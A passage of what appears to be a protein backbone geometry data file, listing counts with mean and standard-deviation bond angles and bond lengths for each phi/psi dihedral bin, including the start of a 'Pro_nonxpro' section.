(-160, 170) : ['B', 3, 122.06, 1.45, 111.29, 1.03, 108.07, 0.89, 110.76, 1.22, 120.56, 0.91, 117.82, 0.78, 121.56, 0.99, 1.328, 0.0113, 1.4565, 0.0094, 1.5384, 0.0138, 1.5207, 0.0119, 1.239, 0.0132],
(-150, 70) : ['B', 4, 122.37, 0.93, 110.71, 1.13, 108.76, 1.44, 111.15, 1.24, 121.34, 0.94, 117.43, 0.85, 121.19, 0.73, 1.3343, 0.0122, 1.464, 0.0111, 1.5281, 0.013, 1.5222, 0.0113, 1.2364, 0.0116],
(-150, 80) : ['B', 4, 122.28, 0.88, 111.23, 1.27, 108.82, 1.65, 110.87, 1.39, 121.32, 1.0, 117.52, 0.79, 121.12, 0.78, 1.331, 0.0118, 1.4639, 0.0098, 1.5294, 0.0131, 1.5196, 0.0131, 1.2372, 0.0112],
(-150, 90) : ['B', 4, 122.0, 1.08, 111.77, 1.43, 108.55, 1.79, 110.81, 1.27, 121.06, 0.97, 117.67, 0.88, 121.23, 0.7, 1.3318, 0.0086, 1.4627, 0.0093, 1.5278, 0.0107, 1.5189, 0.0153, 1.2385, 0.0112],
(-150, 100) : ['B', 4, 122.26, 1.1, 111.78, 1.71, 108.12, 1.97, 110.98, 1.18, 120.63, 1.05, 118.05, 0.95, 121.27, 0.6, 1.3315, 0.0056, 1.4627, 0.0088, 1.5263, 0.0093, 1.5215, 0.0152, 1.241, 0.0105],
(-150, 130) : ['B', 3, 122.13, 2.52, 111.11, 2.74, 107.32, 3.39, 109.65, 1.3, 119.22, 1.02, 118.56, 1.31, 122.16, 1.18, 1.3346, 0.0141, 1.4515, 0.0273, 1.5292, 0.0166, 1.5227, 0.0119, 1.2416, 0.0142],
(-150, 140) : ['B', 6, 122.31, 2.45, 111.25, 2.24, 107.84, 2.84, 109.45, 1.45, 119.5, 1.06, 118.36, 1.35, 122.06, 1.02, 1.3345, 0.0142, 1.453, 0.0223, 1.5321, 0.0169, 1.5205, 0.0116, 1.2398, 0.0124],
(-150, 150) : ['B', 8, 122.45, 2.03, 111.17, 1.7, 108.23, 1.62, 109.55, 1.57, 119.91, 1.02, 118.16, 1.08, 121.85, 0.7, 1.3305, 0.012, 1.4551, 0.0125, 1.5361, 0.0148, 1.519, 0.0116, 1.2369, 0.0107],
(-150, 160) : ['B', 7, 122.38, 1.73, 111.25, 1.41, 108.25, 1.16, 109.97, 1.55, 120.34, 0.92, 117.95, 0.77, 121.65, 0.73, 1.328, 0.0114, 1.4547, 0.0096, 1.5347, 0.0136, 1.519, 0.0109, 1.2368, 0.0103],
(-150, 170) : ['B', 3, 122.07, 1.44, 111.35, 1.27, 108.14, 1.15, 110.37, 1.37, 120.71, 0.87, 117.68, 0.71, 121.54, 0.85, 1.3266, 0.0119, 1.4555, 0.0087, 1.5332, 0.0132, 1.5176, 0.0096, 1.2375, 0.0096],
(-140, 60) : ['B', 4, 122.59, 1.11, 110.74, 1.4, 109.3, 1.49, 111.41, 1.38, 121.29, 1.02, 117.47, 0.99, 121.2, 0.84, 1.333, 0.0137, 1.4643, 0.0103, 1.5284, 0.0117, 1.5241, 0.0121, 1.2341, 0.0113],
(-140, 70) : ['B', 17, 122.85, 1.1, 110.79, 1.3, 108.75, 1.7, 111.27, 1.47, 121.28, 1.1, 117.44, 0.92, 121.23, 0.81, 1.3315, 0.0133, 1.464, 0.0107, 1.5303, 0.0122, 1.5218, 0.0126, 1.2365, 0.0115],
(-140, 80) : ['B', 15, 122.74, 1.06, 111.09, 1.24, 108.71, 2.02, 111.15, 1.65, 121.22, 1.16, 117.57, 0.87, 121.17, 0.85, 1.331, 0.0139, 1.4635, 0.0109, 1.5308, 0.0133, 1.5203, 0.0125, 1.2372, 0.0111],
(-140, 90) : ['B', 6, 122.42, 1.23, 111.4, 1.31, 108.81, 2.23, 111.02, 1.53, 121.0, 1.13, 117.69, 0.95, 121.27, 0.8, 1.3323, 0.0114, 1.4618, 0.0106, 1.5292, 0.012, 1.521, 0.0123, 1.2379, 0.0108],
(-140, 100) : ['B', 6, 122.52, 1.16, 111.39, 1.7, 108.64, 2.18, 111.01, 1.38, 120.34, 1.14, 118.14, 0.98, 121.44, 0.83, 1.3317, 0.0075, 1.4618, 0.0093, 1.5266, 0.0105, 1.5235, 0.0122, 1.242, 0.0097],
(-140, 130) : ['B', 6, 122.4, 1.98, 110.48, 2.94, 107.37, 2.96, 110.16, 1.33, 119.72, 0.91, 118.39, 1.28, 121.79, 1.18, 1.335, 0.0143, 1.4549, 0.024, 1.5315, 0.0167, 1.5251, 0.0107, 1.245, 0.0153],
(-140, 140) : ['B', 8, 122.67, 2.19, 110.95, 2.25, 108.4, 2.52, 109.2, 1.5, 120.03, 1.08, 117.94, 1.37, 121.94, 1.05, 1.3332, 0.0139, 1.4536, 0.0209, 1.5352, 0.0163, 1.5224, 0.0106, 1.2403, 0.0129],
(-140, 150) : ['B', 16, 122.9, 2.07, 111.19, 1.8, 108.82, 1.69, 108.91, 1.65, 120.28, 1.03, 117.75, 1.17, 121.88, 0.71, 1.3288, 0.0121, 1.4538, 0.013, 1.5372, 0.0138, 1.5203, 0.0102, 1.237, 0.0105],
(-140, 160) : ['B', 11, 123.11, 1.79, 111.18, 1.8, 108.55, 1.56, 109.32, 1.71, 120.5, 0.92, 117.71, 0.92, 121.71, 0.64, 1.3256, 0.0112, 1.4533, 0.0092, 1.5349, 0.0121, 1.5193, 0.0095, 1.2359, 0.0089],
(-130, 50) : ['B', 5, 122.28, 1.02, 110.75, 1.72, 110.73, 1.55, 111.11, 1.28, 121.07, 0.96, 117.84, 0.97, 121.05, 0.88, 1.3356, 0.0153, 1.4647, 0.0105, 1.5251, 0.0124, 1.5272, 0.0111, 1.2311, 0.01],
(-130, 60) : ['B', 13, 122.89, 1.12, 110.75, 1.57, 109.79, 1.6, 111.21, 1.31, 121.15, 1.16, 117.64, 1.06, 121.17, 0.93, 1.331, 0.0135, 1.4636, 0.0105, 1.5276, 0.0114, 1.5241, 0.0123, 1.2346, 0.0116],
(-130, 70) : ['B', 26, 123.15, 1.21, 110.99, 1.58, 108.94, 1.76, 111.14, 1.56, 121.02, 1.28, 117.59, 1.03, 121.34, 0.89, 1.3311, 0.0135, 1.4626, 0.0111, 1.5293, 0.0113, 1.5232, 0.0124, 1.237, 0.0117],
(-130, 80) : ['B', 18, 123.16, 1.23, 111.21, 1.47, 108.39, 2.1, 111.29, 1.92, 120.83, 1.35, 117.75, 0.99, 121.37, 0.9, 1.332, 0.0148, 1.4627, 0.0121, 1.5295, 0.0132, 1.5224, 0.0116, 1.2387, 0.0117],
(-130, 90) : ['B', 8, 122.98, 1.37, 111.2, 1.41, 108.4, 2.37, 111.2, 1.81, 120.74, 1.26, 117.89, 1.02, 121.32, 0.91, 1.3324, 0.0132, 1.4621, 0.0115, 1.5274, 0.014, 1.5221, 0.0105, 1.239, 0.0117],
(-130, 100) : ['B', 3, 122.74, 1.36, 111.03, 1.76, 108.74, 2.22, 110.71, 1.53, 120.08, 1.14, 118.34, 1.03, 121.47, 1.16, 1.3306, 0.0098, 1.462, 0.01, 1.5241, 0.014, 1.5228, 0.0114, 1.2438, 0.0093],
(-130, 110) : ['B', 5, 122.64, 1.25, 110.61, 1.94, 108.73, 2.16, 110.55, 1.66, 119.49, 1.03, 118.9, 1.07, 121.47, 1.39, 1.3279, 0.0096, 1.4621, 0.0105, 1.5264, 0.012, 1.5217, 0.0117, 1.2488, 0.0085],
(-130, 120) : ['B', 5, 122.56, 1.34, 110.5, 2.04, 107.91, 2.05, 110.62, 1.57, 119.59, 0.78, 119.06, 1.05, 121.23, 1.13, 1.3315, 0.0105, 1.4598, 0.0129, 1.5309, 0.0146, 1.5223, 0.0084, 1.2485, 0.0126],
(-130, 130) : ['B', 5, 122.48, 1.77, 110.27, 2.2, 108.45, 1.93, 110.02, 1.5, 119.86, 0.96, 118.63, 1.21, 121.38, 0.96, 1.3324, 0.014, 1.4546, 0.0161, 1.5351, 0.02, 1.524, 0.0081, 1.2437, 0.0141],
(-130, 140) : ['B', 11, 122.36, 2.42, 110.42, 1.9, 109.48, 1.75, 109.15, 1.6, 120.23, 1.21, 117.93, 1.42, 121.72, 0.98, 1.3318, 0.0146, 1.4526, 0.015, 1.5361, 0.0183, 1.5223, 0.0091, 1.2373, 0.0138],
(-130, 150) : ['B', 14, 122.74, 2.44, 110.72, 1.76, 109.58, 1.63, 108.87, 1.55, 120.46, 1.13, 117.62, 1.32, 121.8, 0.86, 1.3288, 0.0135, 1.4527, 0.0118, 1.5359, 0.0146, 1.5204, 0.0099, 1.2353, 0.0129],
(-130, 160) : ['B', 11, 123.65, 1.88, 110.63, 1.85, 109.09, 1.74, 109.22, 1.52, 120.64, 0.99, 117.67, 1.08, 121.55, 0.78, 1.325, 0.0125, 1.4531, 0.0083, 1.5361, 0.0123, 1.519, 0.0101, 1.2359, 0.0101],
(-130, 170) : ['B', 4, 123.96, 1.44, 110.09, 1.81, 109.06, 1.78, 109.56, 1.51, 120.94, 1.01, 117.59, 0.99, 121.32, 0.85, 1.325, 0.0124, 1.4551, 0.007, 1.5378, 0.0129, 1.5166, 0.0102, 1.2353, 0.0082],
(-120, 60) : ['B', 4, 123.21, 1.19, 110.9, 1.73, 110.02, 1.78, 110.96, 1.33, 120.87, 1.24, 117.78, 1.06, 121.31, 0.99, 1.3316, 0.0122, 1.4619, 0.0099, 1.5264, 0.0109, 1.5255, 0.0115, 1.2368, 0.0111],
(-120, 70) : ['B', 14, 123.34, 1.29, 111.24, 1.83, 108.97, 1.82, 110.87, 1.58, 120.8, 1.32, 117.73, 1.04, 121.42, 0.91, 1.3336, 0.0127, 1.4611, 0.0107, 1.5275, 0.0107, 1.5254, 0.0112, 1.2387, 0.0108],
(-120, 80) : ['B', 10, 123.46, 1.35, 111.3, 1.66, 108.21, 2.0, 111.12, 1.86, 120.64, 1.37, 117.95, 1.04, 121.36, 0.91, 1.3351, 0.014, 1.4615, 0.0119, 1.5279, 0.0127, 1.5246, 0.0104, 1.2406, 0.0115],
(-120, 90) : ['B', 7, 123.3, 1.44, 110.88, 1.54, 108.27, 2.25, 110.97, 1.58, 120.54, 1.21, 118.36, 1.11, 121.04, 0.98, 1.3339, 0.0126, 1.4625, 0.0107, 1.5276, 0.0141, 1.5229, 0.01, 1.2414, 0.0123],
(-120, 100) : ['B', 7, 122.66, 1.43, 110.43, 1.7, 108.93, 2.22, 110.34, 1.3, 120.09, 0.98, 118.8, 1.21, 121.02, 1.13, 1.3302, 0.0121, 1.4633, 0.0108, 1.5279, 0.0136, 1.5216, 0.0123, 1.2443, 0.01],
(-120, 110) : ['B', 7, 122.42, 1.52, 110.17, 1.86, 109.11, 2.13, 110.13, 1.4, 119.62, 0.94, 119.18, 1.5, 121.12, 1.33, 1.3273, 0.0132, 1.4627, 0.0122, 1.5287, 0.0126, 1.521, 0.0132, 1.2461, 0.0092],
(-120, 120) : ['B', 5, 122.65, 1.66, 110.27, 1.88, 108.85, 1.88, 110.13, 1.34, 119.55, 0.96, 119.28, 1.61, 121.1, 1.23, 1.3306, 0.0124, 1.4577, 0.014, 1.531, 0.0179, 1.5222, 0.0108, 1.2435, 0.011],
(-120, 130) : ['B', 4, 122.7, 1.98, 110.23, 1.77, 109.4, 1.6, 109.42, 1.35, 119.69, 1.02, 118.81, 1.29, 121.39, 0.89, 1.3308, 0.0136, 1.4509, 0.017, 1.5384, 0.0255, 1.5227, 0.0106, 1.2395, 0.0116],
(-120, 140) : ['B', 8, 122.21, 2.87, 110.49, 1.9, 110.14, 1.51, 108.88, 1.5, 120.04, 1.2, 118.16, 1.34, 121.66, 0.94, 1.3325, 0.0159, 1.4508, 0.0169, 1.5365, 0.0207, 1.5238, 0.0118, 1.2359, 0.0127],
(-120, 150) : ['B', 5, 122.38, 2.9, 110.7, 2.02, 110.1, 1.53, 108.84, 1.51, 120.41, 1.19, 117.88, 1.36, 121.57, 0.97, 1.3312, 0.0159, 1.4521, 0.0154, 1.5342, 0.0141, 1.5242, 0.0127, 1.2352, 0.013],
(-120, 160) : ['B', 8, 123.56, 1.98, 110.39, 1.79, 109.82, 1.68, 109.08, 1.53, 120.66, 1.03, 117.84, 1.16, 121.35, 0.85, 1.3268, 0.0139, 1.4522, 0.0111, 1.5358, 0.0125, 1.5227, 0.0125, 1.2369, 0.0103],
(-110, 90) : ['B', 6, 123.08, 1.72, 110.38, 1.67, 108.66, 2.16, 110.65, 1.04, 120.38, 1.03, 118.87, 1.06, 120.68, 1.09, 1.3341, 0.0132, 1.4604, 0.0104, 1.5309, 0.0122, 1.5232, 0.0122, 1.2401, 0.0124],
(-110, 100) : ['B', 7, 122.35, 1.8, 110.12, 1.61, 109.01, 2.07, 110.33, 1.02, 119.99, 0.87, 119.12, 1.18, 120.83, 1.06, 1.3323, 0.015, 1.4597, 0.011, 1.5317, 0.0126, 1.5228, 0.0131, 1.2411, 0.0114],
(-110, 110) : ['B', 7, 122.06, 1.78, 110.05, 1.7, 109.1, 1.91, 110.17, 1.11, 119.59, 0.92, 119.25, 1.6, 121.12, 1.14, 1.3303, 0.0158, 1.4583, 0.0125, 1.5297, 0.0138, 1.5215, 0.0122, 1.2415, 0.0116],
(-110, 120) : ['B', 6, 122.28, 1.77, 110.05, 1.79, 109.15, 1.67, 110.15, 1.15, 119.54, 1.26, 119.14, 2.03, 121.29, 1.24, 1.3321, 0.0144, 1.4558, 0.0158, 1.5281, 0.0168, 1.52, 0.0118, 1.2403, 0.0114],
(-110, 130) : ['B', 4, 122.31, 2.34, 109.94, 1.7, 109.64, 1.56, 109.47, 1.18, 119.67, 1.24, 118.67, 1.79, 121.6, 1.18, 1.3318, 0.0192, 1.4535, 0.0174, 1.5333, 0.0199, 1.5191, 0.0128, 1.2385, 0.0114],
(-110, 140) : ['B', 9, 121.95, 3.74, 110.45, 2.07, 110.32, 1.51, 108.76, 1.37, 120.05, 1.15, 118.12, 1.58, 121.7, 1.29, 1.3346, 0.0304, 1.4527, 0.0179, 1.5336, 0.0157, 1.5238, 0.014, 1.2362, 0.0125],
(-110, 150) : ['B', 12, 122.15, 3.47, 110.56, 2.27, 110.4, 1.43, 108.63, 1.54, 120.54, 1.23, 117.93, 1.49, 121.39, 1.18, 1.3326, 0.0274, 1.4524, 0.018, 1.5335, 0.013, 1.5258, 0.0143, 1.2351, 0.0121],
(-110, 160) : ['B', 12, 123.15, 2.23, 110.1, 1.88, 110.5, 1.52, 108.91, 1.53, 120.87, 1.11, 117.8, 1.26, 121.2, 0.9, 1.3267, 0.0171, 1.4524, 0.015, 1.5348, 0.0142, 1.5229, 0.0142, 1.2357, 0.01],
(-110, 170) : ['B', 4, 124.01, 1.84, 109.82, 1.44, 110.58, 1.56, 109.48, 1.46, 121.08, 0.89, 117.67, 1.09, 121.14, 0.72, 1.3237, 0.0138, 1.4515, 0.013, 1.533, 0.0149, 1.522, 0.0157, 1.2356, 0.0081],
(-100, 100) : ['B', 8, 122.17, 2.19, 110.11, 1.5, 108.59, 1.96, 110.44, 0.9, 119.71, 0.81, 119.38, 1.1, 120.85, 1.01, 1.3344, 0.0172, 1.4556, 0.0113, 1.5313, 0.0136, 1.5229, 0.0155, 1.2405, 0.0129],
(-100, 110) : ['B', 11, 121.76, 1.74, 110.07, 1.47, 108.69, 1.8, 110.17, 0.99, 119.36, 0.84, 119.4, 1.32, 121.19, 0.94, 1.333, 0.0169, 1.4544, 0.0121, 1.5275, 0.015, 1.5201, 0.0122, 1.2407, 0.0133],
(-100, 120) : ['B', 8, 121.83, 1.56, 110.01, 1.46, 109.04, 1.52, 109.85, 1.14, 119.32, 1.12, 119.28, 1.69, 121.36, 1.11, 1.3333, 0.0161, 1.455, 0.016, 1.5244, 0.0155, 1.5186, 0.0115, 1.2414, 0.0129],
(-100, 130) : ['B', 5, 121.59, 3.54, 109.9, 1.54, 109.62, 1.45, 109.31, 1.23, 119.61, 1.12, 118.75, 1.99, 121.59, 1.64, 1.335, 0.0359, 1.4577, 0.0169, 1.5263, 0.0151, 1.519, 0.0138, 1.2399, 0.0141],
(-100, 140) : ['B', 4, 120.71, 6.53, 110.11, 1.65, 110.31, 1.38, 108.68, 1.39, 120.19, 0.93, 117.84, 2.44, 121.87, 2.39, 1.3448, 0.0663, 1.4558, 0.0155, 1.5294, 0.0137, 1.5233, 0.0138, 1.2364, 0.0156],
(-100, 150) : ['B', 10, 121.41, 5.58, 110.1, 1.66, 110.39, 1.3, 108.61, 1.53, 120.63, 1.03, 117.66, 2.07, 121.59, 1.99, 1.3394, 0.0557, 1.4529, 0.0164, 1.5318, 0.015, 1.5244, 0.0128, 1.2349, 0.0134],
(-100, 160) : ['B', 12, 122.71, 3.03, 109.88, 1.42, 110.4, 1.31, 109.09, 1.51, 120.97, 1.05, 117.69, 1.42, 121.21, 1.21, 1.327, 0.0286, 1.4526, 0.0151, 1.5323, 0.0158, 1.5206, 0.0137, 1.2346, 0.0112],
(-100, 170) : ['B', 5, 123.55, 1.87, 109.72, 1.14, 110.31, 1.2, 109.96, 1.5, 121.27, 1.04, 117.63, 1.13, 120.99, 0.95, 1.3226, 0.0164, 1.453, 0.0125, 1.5296, 0.0157, 1.5192, 0.0146, 1.2342, 0.0104],
(-90, 110) : ['B', 4, 121.74, 1.32, 110.17, 1.27, 108.47, 1.79, 110.08, 1.15, 119.29, 0.65, 119.42, 1.04, 121.23, 0.81, 1.3333, 0.015, 1.4563, 0.012, 1.5223, 0.0171, 1.5226, 0.0117, 1.2409, 0.0128],
(-90, 120) : ['B', 8, 121.61, 1.39, 110.23, 1.31, 109.24, 1.39, 109.38, 1.44, 119.32, 0.74, 119.28, 1.1, 121.35, 0.92, 1.3313, 0.0163, 1.4566, 0.0147, 1.5194, 0.0173, 1.5222, 0.0114, 1.2385, 0.0127],
(-90, 130) : ['B', 10, 121.27, 3.4, 110.32, 1.48, 109.72, 1.25, 109.08, 1.49, 119.66, 0.82, 118.75, 1.49, 121.54, 1.45, 1.3318, 0.036, 1.4593, 0.0156, 1.5225, 0.0175, 1.5238, 0.0133, 1.2368, 0.0135],
(-90, 140) : ['B', 9, 120.3, 6.38, 110.29, 1.35, 110.07, 1.26, 108.87, 1.41, 120.19, 0.84, 117.79, 2.25, 121.93, 2.3, 1.3429, 0.0659, 1.4577, 0.0148, 1.5258, 0.0173, 1.5267, 0.0131, 1.2348, 0.0145],
(-90, 150) : ['B', 12, 120.81, 5.77, 110.03, 1.21, 110.29, 1.38, 108.86, 1.44, 120.6, 0.9, 117.51, 2.04, 121.77, 2.04, 1.3403, 0.0587, 1.4541, 0.0144, 1.5262, 0.0173, 1.5257, 0.0125, 1.2354, 0.0137],
(-90, 160) : ['B', 10, 121.98, 3.11, 109.74, 1.16, 110.36, 1.34, 109.37, 1.59, 120.96, 1.09, 117.57, 1.39, 121.34, 1.3, 1.3287, 0.0303, 1.4532, 0.0132, 1.5268, 0.0161, 1.5216, 0.0129, 1.2349, 0.0137],
(-90, 170) : ['B', 8, 122.48, 1.62, 109.49, 1.13, 110.13, 1.15, 110.47, 1.77, 121.46, 1.47, 117.47, 1.16, 120.96, 1.39, 1.3251, 0.0158, 1.4554, 0.0117, 1.526, 0.015, 1.5191, 0.0122, 1.2334, 0.0148],
(-80, -180) : ['B', 3, 122.29, 1.48, 109.59, 1.21, 109.41, 1.53, 111.89, 2.35, 121.67, 1.79, 117.69, 0.93, 120.56, 1.79, 1.3258, 0.015, 1.4566, 0.0139, 1.5259, 0.0124, 1.5247, 0.0123, 1.2347, 0.0154],
(-80, 120) : ['B', 10, 121.2, 1.4, 109.9, 1.56, 109.42, 1.48, 109.51, 1.6, 119.46, 0.77, 119.19, 0.95, 121.31, 0.85, 1.3276, 0.0167, 1.4574, 0.0159, 1.5233, 0.0183, 1.5238, 0.0108, 1.2363, 0.0122],
(-80, 130) : ['B', 15, 120.94, 1.9, 110.01, 1.63, 109.65, 1.26, 109.41, 1.62, 119.76, 0.89, 118.75, 0.97, 121.42, 1.06, 1.327, 0.0231, 1.4583, 0.016, 1.5261, 0.0198, 1.525, 0.0114, 1.2351, 0.0128],
(-80, 140) : ['B', 14, 120.69, 2.95, 110.14, 1.41, 109.93, 1.24, 109.26, 1.47, 120.23, 1.02, 118.03, 1.19, 121.64, 1.36, 1.3308, 0.0312, 1.4562, 0.0153, 1.5274, 0.0196, 1.5281, 0.0118, 1.2339, 0.0129],
(-80, 150) : ['B', 22, 120.97, 2.84, 110.04, 1.35, 110.24, 1.46, 109.11, 1.5, 120.64, 1.03, 117.6, 1.2, 121.64, 1.27, 1.331, 0.0283, 1.4528, 0.0144, 1.5249, 0.017, 1.5278, 0.0126, 1.234, 0.0126],
(-80, 160) : ['B', 18, 121.48, 2.04, 109.78, 1.38, 110.39, 1.5, 109.45, 1.81, 120.88, 1.12, 117.48, 1.15, 121.53, 1.12, 1.3288, 0.0186, 1.4519, 0.0146, 1.5251, 0.0152, 1.525, 0.0134, 1.2336, 0.0131],
(-80, 170) : ['B', 11, 121.92, 1.6, 109.55, 1.3, 110.07, 1.46, 110.5, 2.08, 121.27, 1.44, 117.51, 1.13, 121.12, 1.42, 1.3278, 0.0145, 1.454, 0.0147, 1.5262, 0.0136, 1.5226, 0.0128, 1.2327, 0.0141],
(-70, -60) : ['B', 4, 119.83, 1.11, 110.39, 0.95, 112.17, 1.36, 113.57, 1.57, 119.13, 0.92, 120.58, 0.74, 120.27, 0.69, 1.3405, 0.0165, 1.4632, 0.0069, 1.5294, 0.0126, 1.5212, 0.0108, 1.2439, 0.0091],
(-70, -50) : ['B', 6, 119.78, 1.24, 110.42, 1.18, 112.35, 1.34, 113.04, 1.63, 118.79, 0.96, 120.81, 0.86, 120.38, 0.79, 1.3371, 0.0161, 1.4619, 0.0085, 1.5305, 0.013, 1.5208, 0.0114, 1.2439, 0.01],
(-70, 110) : ['B', 3, 121.63, 2.17, 109.37, 1.87, 109.6, 2.01, 109.85, 1.61, 119.24, 0.97, 119.51, 1.14, 121.2, 0.9, 1.324, 0.0154, 1.4572, 0.017, 1.5279, 0.0203, 1.5228, 0.0126, 1.2384, 0.0121],
(-70, 120) : ['B', 16, 121.17, 1.62, 109.44, 1.91, 109.44, 1.81, 109.82, 1.65, 119.49, 0.99, 119.27, 1.13, 121.18, 0.93, 1.3252, 0.0177, 1.4585, 0.0176, 1.5259, 0.0197, 1.5231, 0.0119, 1.2382, 0.0128],
(-70, 130) : ['B', 15, 120.67, 1.34, 109.68, 1.83, 109.5, 1.47, 109.67, 1.65, 119.8, 1.0, 118.85, 0.95, 121.28, 1.0, 1.3262, 0.0184, 1.4575, 0.0164, 1.5272, 0.0189, 1.5249, 0.0113, 1.2368, 0.0136],
(-70, 140) : ['B', 26, 120.49, 1.42, 110.02, 1.58, 109.83, 1.27, 109.42, 1.57, 120.25, 1.08, 118.23, 0.92, 121.43, 1.12, 1.3287, 0.016, 1.4543, 0.0145, 1.5283, 0.0175, 1.5275, 0.0108, 1.2352, 0.0135],
(-70, 150) : ['B', 32, 120.68, 1.52, 110.11, 1.46, 110.08, 1.38, 109.27, 1.61, 120.7, 1.09, 117.67, 1.01, 121.53, 1.1, 1.33, 0.0147, 1.4521, 0.0141, 1.526, 0.0159, 1.5284, 0.0118, 1.234, 0.0127],
(-70, 160) : ['B', 17, 121.03, 1.6, 110.05, 1.44, 110.2, 1.44, 109.51, 1.85, 120.87, 1.1, 117.44, 1.13, 121.6, 1.06, 1.3307, 0.0148, 1.4508, 0.016, 1.5262, 0.0153, 1.5268, 0.0132, 1.2333, 0.0126],
(-70, 170) : ['B', 7, 121.57, 1.62, 110.04, 1.33, 109.87, 1.62, 110.31, 2.06, 121.01, 1.18, 117.6, 1.18, 121.31, 1.17, 1.3315, 0.0154, 1.4507, 0.0178, 1.5275, 0.014, 1.5251, 0.0138, 1.233, 0.0128],
(-60, -60) : ['B', 3, 120.44, 1.3, 110.11, 1.44, 112.55, 1.35, 113.49, 1.82, 119.08, 0.95, 120.52, 0.83, 120.38, 0.79, 1.3352, 0.0149, 1.4621, 0.0077, 1.5301, 0.0126, 1.5212, 0.0111, 1.2436, 0.0094],
(-60, -50) : ['B', 19, 120.26, 1.34, 110.3, 1.49, 112.75, 1.36, 112.76, 1.86, 118.73, 0.98, 120.77, 0.97, 120.48, 0.89, 1.3324, 0.015, 1.4611, 0.0092, 1.5313, 0.0133, 1.5203, 0.0123, 1.2435, 0.01],
(-60, -40) : ['B', 27, 120.09, 1.25, 110.43, 1.55, 113.16, 1.42, 112.05, 1.91, 118.34, 0.97, 120.93, 1.06, 120.71, 0.94, 1.3319, 0.0133, 1.4592, 0.0104, 1.5332, 0.0139, 1.5218, 0.0126, 1.2436, 0.0098],
(-60, -30) : ['B', 4, 120.06, 1.19, 110.39, 1.61, 113.57, 1.38, 111.64, 1.86, 117.98, 0.97, 121.08, 1.08, 120.92, 0.98, 1.332, 0.0109, 1.4569, 0.0113, 1.5354, 0.0149, 1.5246, 0.0119, 1.2433, 0.0095],
(-60, 120) : ['B', 11, 121.35, 1.73, 109.45, 2.07, 109.58, 1.75, 109.69, 1.64, 119.51, 0.98, 119.12, 1.05, 121.31, 0.87, 1.3262, 0.0166, 1.4556, 0.0157, 1.5266, 0.0179, 1.5248, 0.0129, 1.2407, 0.0133],
(-60, 130) : ['B', 36, 120.65, 1.36, 109.73, 1.79, 109.48, 1.44, 109.62, 1.57, 119.75, 0.94, 118.87, 0.9, 121.3, 0.89, 1.3272, 0.0161, 1.4551, 0.0139, 1.5282, 0.0157, 1.5261, 0.0114, 1.2391, 0.0129],
(-60, 140) : ['B', 31, 120.39, 1.39, 109.98, 1.57, 109.64, 1.27, 109.52, 1.58, 120.17, 1.04, 118.45, 0.96, 121.3, 1.03, 1.328, 0.0144, 1.454, 0.0129, 1.5296, 0.0146, 1.5272, 0.0102, 1.2371, 0.0129],
(-60, 150) : ['B', 24, 120.6, 1.53, 110.03, 1.51, 109.84, 1.39, 109.46, 1.64, 120.69, 1.13, 117.79, 1.08, 121.43, 1.12, 1.3303, 0.0137, 1.4527, 0.0137, 1.5273, 0.0152, 1.5285, 0.0111, 1.2349, 0.0128],
(-60, 160) : ['B', 8, 120.86, 1.6, 110.03, 1.45, 110.01, 1.45, 109.61, 1.78, 120.87, 1.16, 117.38, 1.18, 121.66, 1.14, 1.3335, 0.0161, 1.4517, 0.0161, 1.5276, 0.0162, 1.5273, 0.0125, 1.2337, 0.0129],
(-50, -50) : ['B', 12, 120.97, 1.48, 110.08, 1.89, 113.25, 1.3, 112.38, 2.17, 118.63, 0.92, 120.79, 0.97, 120.55, 0.95, 1.3318, 0.0138, 1.4616, 0.0095, 1.5343, 0.0118, 1.5214, 0.0117, 1.2414, 0.0098],
(-50, -40) : ['B', 16, 120.58, 1.32, 110.34, 1.74, 113.45, 1.39, 111.8, 2.08, 118.33, 0.92, 120.95, 1.09, 120.7, 0.99, 1.3304, 0.0128, 1.4594, 0.0104, 1.535, 0.0132, 1.5216, 0.0129, 1.2428, 0.0099],
(-50, 120) : ['B', 3, 121.69, 1.82, 109.28, 2.04, 109.71, 1.42, 109.6, 1.51, 119.59, 0.87, 118.87, 0.95, 121.47, 0.78, 1.3281, 0.016, 1.4531, 0.013, 1.5268, 0.0155, 1.5282, 0.0124, 1.2405, 0.0134],
(-50, 130) : ['B', 8, 120.83, 1.43, 109.57, 1.72, 109.57, 1.23, 109.5, 1.53, 119.71, 0.84, 118.83, 0.87, 121.38, 0.82, 1.3275, 0.0154, 1.4534, 0.0116, 1.5296, 0.0143, 1.528, 0.0113, 1.2393, 0.0123],
(-50, 140) : ['B', 5, 120.51, 1.45, 109.75, 1.47, 109.6, 1.15, 109.56, 1.64, 120.02, 0.97, 118.63, 0.99, 121.27, 0.97, 1.3265, 0.0153, 1.4539, 0.0114, 1.5313, 0.0137, 1.5279, 0.0101, 1.2382, 0.0119],
(-40, -50) : ['B', 4, 121.62, 1.57, 109.9, 2.28, 113.77, 1.32, 111.77, 2.5, 118.44, 0.94, 121.01, 0.95, 120.51, 0.93, 1.3343, 0.0126, 1.4645, 0.0114, 1.536, 0.0091, 1.5233, 0.01, 1.2381, 0.0095],
(40, 60) : ['B', 4, 124.21, 1.21, 111.66, 1.11, 111.53, 2.18, 111.2, 0.71, 120.26, 0.8, 118.09, 0.83, 121.53, 0.46, 1.3312, 0.0118, 1.4602, 0.0071, 1.5247, 0.0083, 1.5341, 0.0095, 1.2344, 0.005],
(50, 50) : ['B', 3, 123.1, 0.96, 111.7, 1.61, 112.4, 2.07, 110.71, 0.94, 120.47, 0.69, 118.16, 0.7, 121.25, 0.22, 1.3301, 0.0139, 1.4566, 0.0091, 1.5221, 0.0089, 1.5321, 0.0065, 1.233, 0.0048],
(50, 60) : ['B', 4, 122.83, 1.08, 111.51, 1.43, 112.23, 2.2, 111.0, 0.87, 120.48, 0.77, 118.09, 0.82, 121.32, 0.27, 1.3288, 0.0112, 1.4577, 0.0074, 1.5223, 0.007, 1.5312, 0.0074, 1.2349, 0.0047],
},
"Pro_nonxpro" : {
(-180, -180) : ['I', 639, 119.84, 1.25, 103.25, 1.05, 112.47, 2.06, 111.56, 1.65, 120.6, 1.82, 116.7, 2.07, 122.64, 1.35, 1.3339, 0.0234, 1.4687, 0.0128, 1.5332, 0.0142, 1.5195, 0.0142, 1.2351, 0.013],
(-100, 0) : ['B', 7, 121.04, 1.21, 101.88, 1.01, 114.98, 1.46, 109.89, 1.23, 118.38, 1.13, 118.86, 1.56, 122.74, 1.56, 1.3322, 0.0082, 1.4728, 0.0085, 1.5334, 0.014, 1.5236, 0.0106, 1.2357, 0.0136],
